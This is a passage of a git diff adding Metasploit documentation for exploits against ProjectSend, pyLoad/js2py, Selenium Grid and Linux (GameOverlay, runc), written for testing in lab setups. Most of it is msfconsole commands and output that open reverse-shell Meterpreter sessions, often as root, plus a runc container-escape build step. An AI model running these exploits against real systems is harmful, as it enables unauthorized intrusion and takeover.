+ - ./projectsend/config:/config
+ - ./projectsend/data:/data
+ ports:
+ - 80:80
+ restart: unless-stopped
+ db:
+ image: mariadb
+ restart: unless-stopped
+ container_name: db
+ volumes:
+ - ./mariadb_data:/var/lib/mysql
+ environment:
+ MYSQL_ROOT_PASSWORD: password
+ MYSQL_DATABASE: projectsend
+ MYSQL_USER: projectsend
+ MYSQL_PASSWORD: projectsend
+```
+After launching the containers, ProjectSend requires an initial configuration,
+which can be completed by accessing it via port 80 on localhost.
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/projectsend_unauth_rce`
+4. Set remote hosts: `set RHOSTS `
+5. Set remote port: `set RPORT `
+6. Set the path to ProjectSend: `set TARGETURI `
+7. Set local host: `set LHOST `
+8. Do: `run`
+9. You should get a shell
+
+```
+msf6 exploit(linux/http/projectsend_unauth_rce) > options
+
+Module options (exploit/linux/http/projectsend_unauth_rce):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 80 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ TARGETURI / yes The TARGETURI for ProjectSend
+ VHOST no HTTP server virtual host
+
+
+Payload options (php/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ LHOST 192.168.1.20 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 PHP Command
+```
+
+## Options
+N/A - Only default options.
+
+## Scenarios
+```
+msf6 exploit(linux/http/projectsend_unauth_rce) > run
+
+[*] Started reverse TCP handler on 192.168.1.20:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable.
+[+] Client registration successfully enabled
+[+] User alvin.padberg created with password lrASo3iM
+[*] Disabling upload restrictions...
+[*] Logging in as alvin.padberg...
+[+] Logged in as alvin.padberg
+[+] Successfully uploaded PHP file: sX1A4FCH.php
+[*] Sending stage (39927 bytes) to 192.168.1.20
+[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200
+[*] Logging in as alvin.padberg...
+[+] Logged in as alvin.padberg
+[+] Client registration successfully disabled
+[*] Enabling upload restrictions...
+
+meterpreter > sysinfo
+Computer : 1480205e55c2
+OS : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64
+Meterpreter : php/linux
+```
diff --git a/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md
new file mode 100644
index 000000000000..14df3d228275
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md
@@ -0,0 +1,147 @@
+## Vulnerable Application
+CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
+javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
+to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
+and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
+is the latest version of js2py which was released Nov 6, 2022.
+
+CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
+download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
+it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
+This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
+can bypass this restriction in order to access the API to achieve unauth RCE.
+
+## Verification Steps
+
+1. Start a vulnerable instance of pyLoad using docker
+2. Start msfconsole
+3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205`
+4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options
+5. Run: `run`
+
+### Docker Setup
+
+```
+docker run -d \
+ --name=pyload-ng \
+ -e PUID=1000 \
+ -e PGID=1000 \
+ -e TZ=Etc/UTC \
+ -p 8000:8000 \
+ -p 9666:9666 \
+ --restart unless-stopped \
+ lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
+```
+
+## Scenarios
+### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74)
+```
+msf6 > use linux/http/pyload_js2py_cve_2024_39205
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
+lhost => 172.16.199.1
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options
+
+Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 9666 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ SSLCert no Path to a custom SSL certificate (default is randomly generated)
+ TARGETURI / yes Base path
+ URIPATH no The URI to use for this exploit (default is random)
+ VHOST no HTTP server virtual host
+
+
+ When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
+ SRVPORT 8080 yes The local port to listen on.
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST 172.16.199.1 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Unix Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
+
+[*] Started reverse TCP handler on 172.16.199.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Successfully tested command injection.
+[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
+[*] Sending stage (3045380 bytes) to 172.16.199.1
+[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800
+
+meterpreter > getruid
+[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
+meterpreter > getuid
+Server username: abc
+meterpreter > sysinfo
+Computer : 172.17.0.2
+OS : (Linux 6.10.11-linuxkit)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
+
+### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74)
+```
+msf6 > use linux/http/pyload_js2py_cve_2024_39205
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
+lhost => 172.16.199.1
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1
+target => 1
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
+
+[*] Started reverse TCP handler on 172.16.199.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. Successfully tested command injection.
+[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
+[*] Sending stage (3045380 bytes) to 172.16.199.1
+[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800
+[*] Command Stager progress - 100.00% done (823/823 bytes)
+
+meterpreter > getuid
+Server username: abc
+meterpreter > sysinfo
+Computer : 172.17.0.2
+OS : (Linux 6.10.11-linuxkit)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md
new file mode 100644
index 000000000000..21f9f50ea2cd
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md
@@ -0,0 +1,112 @@
+## Vulnerable Application
+
+Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
+such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
+
+The vulnerability affects:
+
+ * Selenium Server (Grid) before 4.0.0-alpha-7
+
+This module was successfully tested on:
+
+ * selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+
+
+### Installation
+
+1. `docker pull selenium/standalone-chrome:3.141.59`
+
+2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59`
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108`
+4. Do: `run lhost= rhost=`
+5. You should get a meterpreter
+
+
+## Options
+
+
+## Scenarios
+### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04
+```
+msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
+[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
+msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options
+
+Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 4444 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE true yes Attempt to delete the binary after execution
+ FETCH_FILENAME OmbNmrIU no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:40990) at 2024-12-30 13:33:31 +0900
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.17.0.5
+OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
+
+### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected.
+[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:34888) at 2024-12-30 13:34:30 +0900
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.17.0.6
+OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md
new file mode 100644
index 000000000000..30d2d7ddc4cc
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md
@@ -0,0 +1,167 @@
+## Vulnerable Application
+
+Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
+allows CSRF because it permits non-JSON content types
+such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
+At least, the number of sessions must be fewer than maxSessions for the exploit to succeed.
+
+The vulnerability affects:
+
+ * Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)
+
+This module was successfully tested on:
+
+ * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
+ * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
+
+
+### Installation
+
+1. `docker pull selenium/standalone-firefox:3.141.59`
+
+2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108`
+4. Do: `run lhost= rhost=`
+5. You should get a meterpreter
+
+
+## Options
+### TIMEOUT (required)
+
+This is the amount of time (in seconds) that the module will wait for the payload to be
+executed. Defaults to 75 seconds.
+
+
+## Scenarios
+### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
+```
+msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108
+[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options
+
+Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 4444 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ TIMEOUT 75 yes Timeout for exploit (seconds)
+ VHOST no HTTP server virtual host
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE true yes Attempt to delete the binary after execution
+ FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
+ LHOST yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
+[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922).
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900
+[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.17.0.2
+OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
+
+### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827).
+[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900
+[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.17.0.3
+OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
+
+### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2).
+[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900
+[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.17.0.4
+OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
+
+### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
+```
+msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
+[*] Started session (1657b5ac-c514-431f-8c83-761c14012869).
+[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900
+[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 172.17.0.5
+OS : Ubuntu 24.04 (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/local/gameoverlay_privesc.md b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md
new file mode 100644
index 000000000000..0630406fe0ca
--- /dev/null
+++ b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md
@@ -0,0 +1,157 @@
+## Description
+
+CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of
+capabilities while overlaying filesystems. On most Linux Kernels during the execution of
+ `ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a
+way that limits them to the current namespace. However, on some versions of the Ubuntu kernel
+ `_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`.
+
+When a new namespace is created the user will technically be "root" within that given
+namespace. This module will take advantage of this by setting the `CAP_SETUID` capability
+on a system binary. It will then perform filesystem overlay, copying the binary into the lower
+directory. Because of the flaws described above when the binary is transferred into the upper
+directory its capabilities will not be sanitized and persist in the "normal" namespace.
+
+## Vunerable Application
+
+These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
+and kernel versions, as described in the list below.
+
+Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
+
+Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
+
+Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
+
+Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
+
+Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)
+
+Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629)
+
+The user can download a vulnerable version, for example:
+
+```
+sudo apt update
+sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
+reboot
+```
+While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically.
+Be sure to take the system offline to prevent the vulnerabilities from silently being patched.
+
+This module has successfully been tested on the following:
+
+Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic
+
+Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws
+
+## Verification Steps
+
+1). Start `msfconsole`
+
+2). Get a session on a vulnerable system
+
+3). Use `exploit/linux/local/gameoverlay_privesc`
+
+4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1)
+`set target 1`
+
+5). Set session `set session [SESSION]`
+
+5). Do. `run`
+
+6). You should get a new session running as root.
+
+## Options
+
+### Payload File Name
+Name of the file storing the payload, default is random.
+
+### Writable Dir
+The name of a directory with write permissions, default is `/tmp`. This will be where the
+payload file will be created if necessary. Additionally during the exploit a series of directories will be
+created here to perform the filesystem overlaying.
+
+## Scenarios
+
+You have a non-root session on one of the systems described above. Please note that this
+module will automatically run checks to determine if the system is vulnerable, you can disable
+this with `set AutoCheck False`.
+
+```
+msf6 exploit(linux/local/gameoverlay_privesc) >
+[*] Sending stage (3045380 bytes) to 10.5.132.129
+[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600
+
+msf6 exploit(linux/local/gameoverlay_privesc) > set session 3
+session => 3
+msf6 exploit(linux/local/gameoverlay_privesc) > show options
+
+Module options (exploit/linux/local/gameoverlay_privesc):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ PayloadFileName pSueaCXrnzH yes Name of payload
+ SESSION 3 yes The session to run this module on
+ WritableDir /tmp yes A directory where we can write files
+
+
+Payload options (linux/x64/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ LHOST 10.5.135.201 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Linux_Binary
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/local/gameoverlay_privesc) > run
+
+[*] Started reverse TCP handler on 10.5.135.201:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Detected Ubuntu version: Jammy Jellyfish
+[*] Detected kernel version: 5.19.0-41-generic
+[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
+[*] Creating directory to store payload: /tmp/ODBpneOXk/
+[*] Creating directory /tmp/ODBpneOXk/
+[*] /tmp/ODBpneOXk/ created
+[*] Creating directory /tmp/ODBpneOXk/
+[*] Creating directory /tmp/ODBpneOXk/
+[*] /tmp/ODBpneOXk/ created
+[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
+[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
+[*] /tmp/ODBpneOXk/bmbtPAX/ created
+[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
+[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
+[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created
+[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
+[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
+[*] /tmp/ODBpneOXk/hEhbByWL/ created
+[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
+[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
+[*] /tmp/ODBpneOXk/yvvSFre/ created
+[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 10.5.132.129
+[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy
+[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 10.5.132.129
+OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+
+```
diff --git a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md
index d3af51c51173..7e2275280902 100644
--- a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md
+++ b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md
@@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).
-Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
+Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
+Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
+Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.
+
+### Arch Install
+
+```
+wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst
+pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst
+wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst
+pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst
+systemctl start docker.service && systemctl enable docker.service
+usermod -aG docker
+```
## Verification Steps
@@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest`
## FILEDESCRIPTOR
-The file descriptor to use, typically `7` or `8`. Defaults to `8`
+The file descriptor to use, typically `7` or `8`. Defaults to `7`
+
+## Scenarios
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
@@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
meterpreter > getuid
Server username: root
```
+
+### Debian 12.4
+
+```
+msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true
+
+[*] Started reverse TCP handler on 192.168.20.24:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected
+[*] Creating directory /tmp/.jwBZNB
+[*] /tmp/.jwBZNB created
+[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7
+[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile
+[*] Building from Dockerfile to set our payload permissions
+[*] #0 building with "default" instance using docker driver
+[*]
+[*] #1 [internal] load build definition from Dockerfile
+[*] #1 transferring dockerfile: 217B done
+[*] #1 DONE 0.0s
+[*]
+[*] #2 [internal] load metadata for docker.io/library/alpine:latest
+[*] #2 DONE 3.5s
+[*]
+[*] #3 [internal] load .dockerignore
+[*] #3 transferring context: 2B done
+[*] #3 DONE 0.0s
+[*]
+[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
+[*] #4 DONE 0.0s
+[*]
+[*] #5 [2/3] WORKDIR /proc/self/fd/7
+[*] #5 CACHED
+[*]
+[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7
+[*] #6 DONE 0.3s
+[*]
+[*] #7 exporting to image
